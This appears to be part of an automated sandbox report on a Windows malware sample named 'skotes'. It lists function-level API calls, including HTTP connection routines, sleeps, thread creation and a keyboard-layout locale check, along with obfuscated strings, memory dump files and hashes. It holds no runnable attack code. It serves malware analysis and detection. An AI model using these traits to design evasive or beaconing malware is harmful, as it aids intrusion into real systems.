Part of subcall function 00E97A00: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00E97AEC
Part of subcall function 00E97A00: __Cnd_destroy_in_situ.LIBCPMT ref: 00E97AF8
Part of subcall function 00E97A00: __Mtx_destroy_in_situ.LIBCPMT ref: 00E97B01

Part of subcall function 00E8BE30: Sleep.KERNEL32(000005DC), ref: 00E8BEB8
Part of subcall function 00E8BE30: InternetOpenW.WININET(00ED8DC8,00000000,00000000,00000000,00000000), ref: 00E8BEC8
Part of subcall function 00E8BE30: InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00E8BEEB
Part of subcall function 00E8BE30: HttpOpenRequestA.WININET(?,00000000), ref: 00E8BF36

std::_Xinvalid_argument.LIBCPMT ref: 00E94F92

Strings

9HQ0, xrefs: 00E954E1
2I0, xrefs: 00E95627
Fw==, xrefs: 00E94E1D
anE0, xrefs: 00E9566B
VXA0, xrefs: 00E955AE
Vmc0, xrefs: 00E955D7
MGE+, xrefs: 00E94866, 00E948DD, 00E94B85, 00E94BFC
9250, xrefs: 00E954AD
KCWUOl==, xrefs: 00E95649
MGI+, xrefs: 00E948AD, 00E949DC, 00E94BCC, 00E94CFB
9c9aa5, xrefs: 00E95619
93E0, xrefs: 00E95600
8WI0, xrefs: 00E95692
jS=, xrefs: 00E96513, 00E967E2
3I3eB==, xrefs: 00E94802
246122658369, xrefs: 00E9502A, 00E9503D, 00E9507F, 00E95089, 00E95684
GE0, xrefs: 00E95585
VXQ0, xrefs: 00E9550A
stoi argument out of range, xrefs: 00E94F9C
aWW0, xrefs: 00E9555C
WGS0, xrefs: 00E95533

Memory Dump Source

Source File: 00000006.00000002.3325796292.0000000000E81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3325634928.0000000000E80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3325796292.0000000000EE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326383122.0000000000EE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000000EEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001166000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001196000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3330245017.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3333670145.000000000135A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3334086187.000000000135C000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID: InternetOpen$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequestSleepXinvalid_argumentstd::_
String ID: 2I0$ 3I3eB==$ GE0$ jS=$246122658369$8WI0$9250$93E0$9HQ0$9c9aa5$Fw==$KCWUOl==$MGE+$MGI+$VXA0$VXQ0$Vmc0$WGS0$aWW0$anE0$stoi argument out of range
API String ID: 4201286991-1982281295
Opcode ID: 504b1cec9a47afd659a6f953acbb4ee5e94a8125e36e46fabf1abd6d0c247107
Instruction ID: 69bc64b744a04477ce6d26332d92b1a7382ed524f425cb95a656d6028deae73e
Opcode Fuzzy Hash: 504b1cec9a47afd659a6f953acbb4ee5e94a8125e36e46fabf1abd6d0c247107
Instruction Fuzzy Hash: 8E2313B1A002588BEF19DB28CD8979DBBB6AB81304F5491DCE049BB2D2DB355F848F51

Function 00E93640 Relevance: 18.3, APIs: 1, Strings: 9, Instructions: 761
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00E9434F

Part of subcall function 00E97A00: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00E97AEC
Part of subcall function 00E97A00: __Cnd_destroy_in_situ.LIBCPMT ref: 00E97AF8
Part of subcall function 00E97A00: __Mtx_destroy_in_situ.LIBCPMT ref: 00E97B01

Strings

Fw==, xrefs: 00E9378E
5120, xrefs: 00E93BAF, 00E93C9A
V2Te, xrefs: 00E93EB0
WGpm, xrefs: 00E93CC9
invalid stoi argument, xrefs: 00E92ED9, 00E92EE8, 00E9434A
stoi argument out of range, xrefs: 00E92EF2, 00E94359
WX f, xrefs: 00E93BDE
Hykl, xrefs: 00E9387F
", xrefs: 00E93F89

Memory Dump Source

Source File: 00000006.00000002.3325796292.0000000000E81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3325634928.0000000000E80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3325796292.0000000000EE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326383122.0000000000EE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000000EEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001166000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001196000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3330245017.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3333670145.000000000135A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3334086187.000000000135C000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situXinvalid_argumentstd::_
String ID: "$5120$Fw==$Hykl$V2Te$WGpm$WX f$invalid stoi argument$stoi argument out of range
API String ID: 4234742559-2496833627
Opcode ID: 21dd5d435c8bbb5a912a406239d14bb40165a17b1c2fe7fa86eeb218833ab924
Instruction ID: f95788c89913cddb7e31ce75059097f278231d88835984197a30b37a3eae426e
Opcode Fuzzy Hash: 21dd5d435c8bbb5a912a406239d14bb40165a17b1c2fe7fa86eeb218833ab924
Instruction Fuzzy Hash: 575224B1A002489BDF18EF78CD46BDDBBB5AF46300F54458CE445B72C2DB759B848B92

Function 00E85EE0 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 340
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,80000001,00000000,000F003F,?), ref: 00E85F13

Strings

00000422, xrefs: 00E860C9
0000043f, xrefs: 00E8612B
00000423, xrefs: 00E860FA
00000419, xrefs: 00E86098
Keyboard Layout\Preload, xrefs: 00E86054

Memory Dump Source

Source File: 00000006.00000002.3325796292.0000000000E81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3325634928.0000000000E80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3325796292.0000000000EE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326383122.0000000000EE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000000EEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001166000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001196000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3330245017.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3333670145.000000000135A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3334086187.000000000135C000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID: Open
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 71445658-3963862150
Opcode ID: 66cac84ecbcee119df053e730106ee552b79079f9aa3c14001fb919656526a10
Instruction ID: 295f0cfcc2f233b81636c8044c3312424b8010c9ce2e6b4432838d666c0189c6
Opcode Fuzzy Hash: 66cac84ecbcee119df053e730106ee552b79079f9aa3c14001fb919656526a10
Instruction Fuzzy Hash: 54D19D719002589BEF24EF64CC85BDEB7B9EB05304F5042D8E50CF7291DB74AAA88F95

Function 00E87D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00E87ED3

Strings

JjssOl==, xrefs: 00E8813A
JjssPV==, xrefs: 00E881E2
JjsrQV==, xrefs: 00E88092
JjsrPl==, xrefs: 00E8828A

Memory Dump Source

Source File: 00000006.00000002.3325796292.0000000000E81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3325634928.0000000000E80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3325796292.0000000000EE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326383122.0000000000EE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000000EEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001166000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001196000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3330245017.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3333670145.000000000135A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3334086187.000000000135C000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-3123340372
Opcode ID: 037acd3c0c3aa93f545ab41edc354821b6aaf833c38751600aaab2cef26f30a1
Instruction ID: 9beaf453548c30dddc6692ec501b428b8d5d254049125fa26e758d3c27a2a8a7
Opcode Fuzzy Hash: 037acd3c0c3aa93f545ab41edc354821b6aaf833c38751600aaab2cef26f30a1
Instruction Fuzzy Hash: D0E12971E002449BDF15BB68CD4B39D7AA1AB46724F94228CE85D7B3C2DF754E848BC2

Function 00E87590 Relevance: 4.7, APIs: 3, Instructions: 158
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064,138510BD,?,00000000,00EC9138,000000FF), ref: 00E875CC
CreateThread.KERNEL32(00000000,00000000,00E87430,00EE8638,00000000,00000000,?,?,?,?,?,?,?,?), ref: 00E876BF
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00E876C9

Part of subcall function 00E9D0C7: RtlWakeAllConditionVariable.NTDLL ref: 00E9D17B

Memory Dump Source

Source File: 00000006.00000002.3325796292.0000000000E81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3325634928.0000000000E80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3325796292.0000000000EE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326383122.0000000000EE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000000EEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001166000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001196000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3330245017.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3333670145.000000000135A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3334086187.000000000135C000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep$ConditionCreateThreadVariableWake
String ID:
API String ID: 79123409-0
Opcode ID: eb420f6f2dcae1a7ad982af07c8d0bb3a35e6c58d803c06181a8c6919dfd5e8c
Instruction ID: 7ee78cda14e69e6ea21c5b5ff42ae28e1132a597f74a64728c17eb9d04ea0c00
Opcode Fuzzy Hash: eb420f6f2dcae1a7ad982af07c8d0bb3a35e6c58d803c06181a8c6919dfd5e8c
Instruction Fuzzy Hash: 4E51EF71204289AFEB14DF29DE85B8D3BA1EB44304F605619F85DBB3D1CB7AD884CB91

Function 00E88380 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00E88524

Memory Dump Source

Source File: 00000006.00000002.3325796292.0000000000E81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3325634928.0000000000E80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3325796292.0000000000EE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326383122.0000000000EE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000000EEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001166000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001196000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3330245017.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3333670145.000000000135A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3334086187.000000000135C000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 5503bdb7876122ca4e896bb2cb9e574500e2474b6817232e555e1493aaac8599
Instruction ID: da06e4c988355002fd7f0d789f93964dfa6a8a4312a794ba409a83aa924e6737
Opcode Fuzzy Hash: 5503bdb7876122ca4e896bb2cb9e574500e2474b6817232e555e1493aaac8599
Instruction Fuzzy Hash: 0A512671D002589BDB24FB68CE457DDB7B4EB45314F905298E81CB72C1DF349E848B91

Function 00EBB04B Relevance: 1.5, APIs: 1, Instructions: 33
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,138510BD,?,?,00E9D3FC,138510BD,?,00E97A8B,?,?,?,?,?,?,00E87465,?), ref: 00EBB07E

Memory Dump Source

Source File: 00000006.00000002.3325796292.0000000000E81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3325634928.0000000000E80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3325796292.0000000000EE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326383122.0000000000EE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000000EEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001166000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001196000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3330245017.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3333670145.000000000135A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3334086187.000000000135C000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ab5162977eb37c0ee5eae0c5ddbc0f17cb5403f1abfbe632f7302d97ce281a3e
Instruction ID: 446a208cd6a974b8da05d2927c8d0cd33a2d0612f6fe00bb9ce3219d90c9ac3b
Opcode Fuzzy Hash: ab5162977eb37c0ee5eae0c5ddbc0f17cb5403f1abfbe632f7302d97ce281a3e
Instruction Fuzzy Hash: 10E06D35141226DAEA3232668D41BFBB68C9B423E4F153610EE65B6191EBE0DC0082E0

Function 00E96C70 Relevance: 1.3, APIs: 1, Instructions: 40
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 00E96CF5

Memory Dump Source

Source File: 00000006.00000002.3325796292.0000000000E81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3325634928.0000000000E80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3325796292.0000000000EE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326383122.0000000000EE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000000EEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001166000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001196000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3330245017.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3333670145.000000000135A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3334086187.000000000135C000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 0789f6dd2984f3a868aa1fe1dbd5a1027d952655009a66164822d58a71233015
Instruction ID: c3cae3d77dd897a5cd97b39cbe672999f5b75a0181667897b6ab215a35934fb8
Opcode Fuzzy Hash: 0789f6dd2984f3a868aa1fe1dbd5a1027d952655009a66164822d58a71233015
Instruction Fuzzy Hash: D5F0D171A00648ABCB01BB699D06B0EBBB8EB46760F80165CF8257B2D1DA701A084BD2

Function 04E00367 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3350124444.0000000004E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4e00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63853915d7286c0e193ebf41296ed249b755470d3db6199ae49d4f3c24147879
Instruction ID: 9f6151682e03788b28f2daba88ed1a835ebb222c479dd6898e1f827deaef971d
Opcode Fuzzy Hash: 63853915d7286c0e193ebf41296ed249b755470d3db6199ae49d4f3c24147879
Instruction Fuzzy Hash: 991191E724C1207DA29280863B54BF76BAEE2D7730371C527F45BD2942F2991A897132

Function 04E00370 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3350124444.0000000004E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4e00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a14a071c2ded1b81831855516b5deec4ffb9707b400209ff32b58672b180255d
Instruction ID: f362b25c51f6176414f68fc4b8a08c2949e0fdb0d52bcbd51ee9ac8a1459f007
Opcode Fuzzy Hash: a14a071c2ded1b81831855516b5deec4ffb9707b400209ff32b58672b180255d
Instruction Fuzzy Hash: 77119EEB24C1207DB28285867B50AFB6B6EE2D7730330C527F457D2543F2991A997231

Function 04E00379 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3350124444.0000000004E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4e00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77d165a9067d6f431de038916258e3a107c2754b18d5a9592d976d2fead45b46
Instruction ID: ff04df10c7f269cef16b2bd2aaadc0ce5398035d0b4a81dc420b887866917c4a
Opcode Fuzzy Hash: 77d165a9067d6f431de038916258e3a107c2754b18d5a9592d976d2fead45b46
Instruction Fuzzy Hash: 6B118EEB24D1207DB28290867B54AFB6B6EE2D7730330C427F457D2583F2D91A997131

Function 04E003FC Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3350124444.0000000004E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4e00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90cbcbfe8f72b4c3bd0cbb57be3f2b463c06febc623d2c7c7c7a6b30d6ccddcb
Instruction ID: ee57b431a6929d88f2758f4778f67e50b8256ebfc106a4e56a8ecbe53949b80b
Opcode Fuzzy Hash: 90cbcbfe8f72b4c3bd0cbb57be3f2b463c06febc623d2c7c7c7a6b30d6ccddcb
Instruction Fuzzy Hash: A101B1E724D120BEB29290863B50BF76B5EE3D7735330E427B467D59C2B2882AC97035

Function 04E003BA Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3350124444.0000000004E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4e00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd2c0a13b65b174f3d5589acc0d0d985fe92f4aec763de49acf88e0293e1bf4a
Instruction ID: 0dcc80edb9e0d9977b78a878996dc72289cb3944019a5861cf9b2b65d79d40c1
Opcode Fuzzy Hash: fd2c0a13b65b174f3d5589acc0d0d985fe92f4aec763de49acf88e0293e1bf4a
Instruction Fuzzy Hash: 95F0AFE724D120BDB29291867B60BF7579DD2D7730331D517B457D2483E2892EC97036

Function 04E003CD Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3350124444.0000000004E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4e00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 170d835e6a5b25df756bacebab52c63de18874ffc668f1c0b1a08160d3c57c18
Instruction ID: ee34469ba1d2ed14d8164d2ad926292f3133c41dd3b830fc12df323a7688b21e
Opcode Fuzzy Hash: 170d835e6a5b25df756bacebab52c63de18874ffc668f1c0b1a08160d3c57c18
Instruction Fuzzy Hash: C9F0F4E320C0207EB251D1863BA4BF72B9DD2D7331330D117F456D1483E1851EC9A035

Function 04E0042B Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3350124444.0000000004E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4e00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 678926afca7a4f808104dd09d3a476b014c2d832d89ac7868f9a5e7b258da8a0
Instruction ID: 939e656fbcbbb70e7e41e08f3637b1b9024f8649f2c41c5cc8ea170defcfb796
Opcode Fuzzy Hash: 678926afca7a4f808104dd09d3a476b014c2d832d89ac7868f9a5e7b258da8a0
Instruction Fuzzy Hash: C6F058E728D124BCB292A0863B20BF70B5ED2D6630330E417F467C0883E1882ED92039

Non-executed Functions

Function 00EC31A8 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00EC3323

Strings

1#IND, xrefs: 00EC44B3
1#QNAN, xrefs: 00EC44C1
1#INF, xrefs: 00EC44DE
1#SNAN, xrefs: 00EC44BA

Memory Dump Source

Source File: 00000006.00000002.3325796292.0000000000E81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3325634928.0000000000E80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3325796292.0000000000EE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326383122.0000000000EE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000000EEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001166000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001196000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3330245017.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3333670145.000000000135A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3334086187.000000000135C000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: f3f49f68e199adbfff7b5862202a986efe123bf1bfd30f79d8feab1347bbe192
Instruction ID: 0a501a67da3389f9d26f395ce9293321058b21262698e14a3c3470eb168a9b41
Opcode Fuzzy Hash: f3f49f68e199adbfff7b5862202a986efe123bf1bfd30f79d8feab1347bbe192
Instruction Fuzzy Hash: 0AC21DB1E046288FDB25CE28DE50BEAB7B5EB44315F1451EED44DB7240E776AE828F40

Function 00EC2D10 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3325796292.0000000000E81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3325634928.0000000000E80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3325796292.0000000000EE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326383122.0000000000EE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000000EEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001166000.00000040.00000001.01000000.00000007.sdmpDownload File
